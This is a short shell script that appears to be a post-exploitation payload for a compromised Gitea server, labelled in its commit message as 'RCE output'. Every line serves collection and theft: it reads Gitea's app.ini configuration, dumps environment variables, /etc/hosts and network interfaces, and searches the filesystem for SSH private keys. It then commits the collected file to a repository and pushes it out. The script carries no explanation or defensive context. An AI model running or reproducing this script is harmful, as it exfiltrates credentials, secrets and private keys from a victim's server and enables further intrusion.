#!/bin/sh # Read app.ini cat /data/gitea/conf/app.ini > /tmp/out.txt 2>&1 echo "=== ENV ===" >> /tmp/out.txt env >> /tmp/out.txt 2>&1 echo "=== HOSTS ===" >> /tmp/out.txt cat /etc/hosts >> /tmp/out.txt 2>&1 echo "=== SSH KEYS ===" >> /tmp/out.txt find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null | head -5 >> /tmp/out.txt echo "=== NETWORK ===" >> /tmp/out.txt ip addr 2>/dev/null | head -20 >> /tmp/out.txt # Commit the output file to the repo export GIT_DIR=/data/git/repositories/pocnet_1793467068/netscan7.git export GIT_WORK_TREE=/tmp/wt_netscan7 mkdir -p /tmp/wt_netscan7 cp /tmp/out.txt /tmp/wt_netscan7/output.txt cd /tmp/wt_netscan7 git add output.txt git commit -m "RCE output" 2>&1 git push origin main 2>&1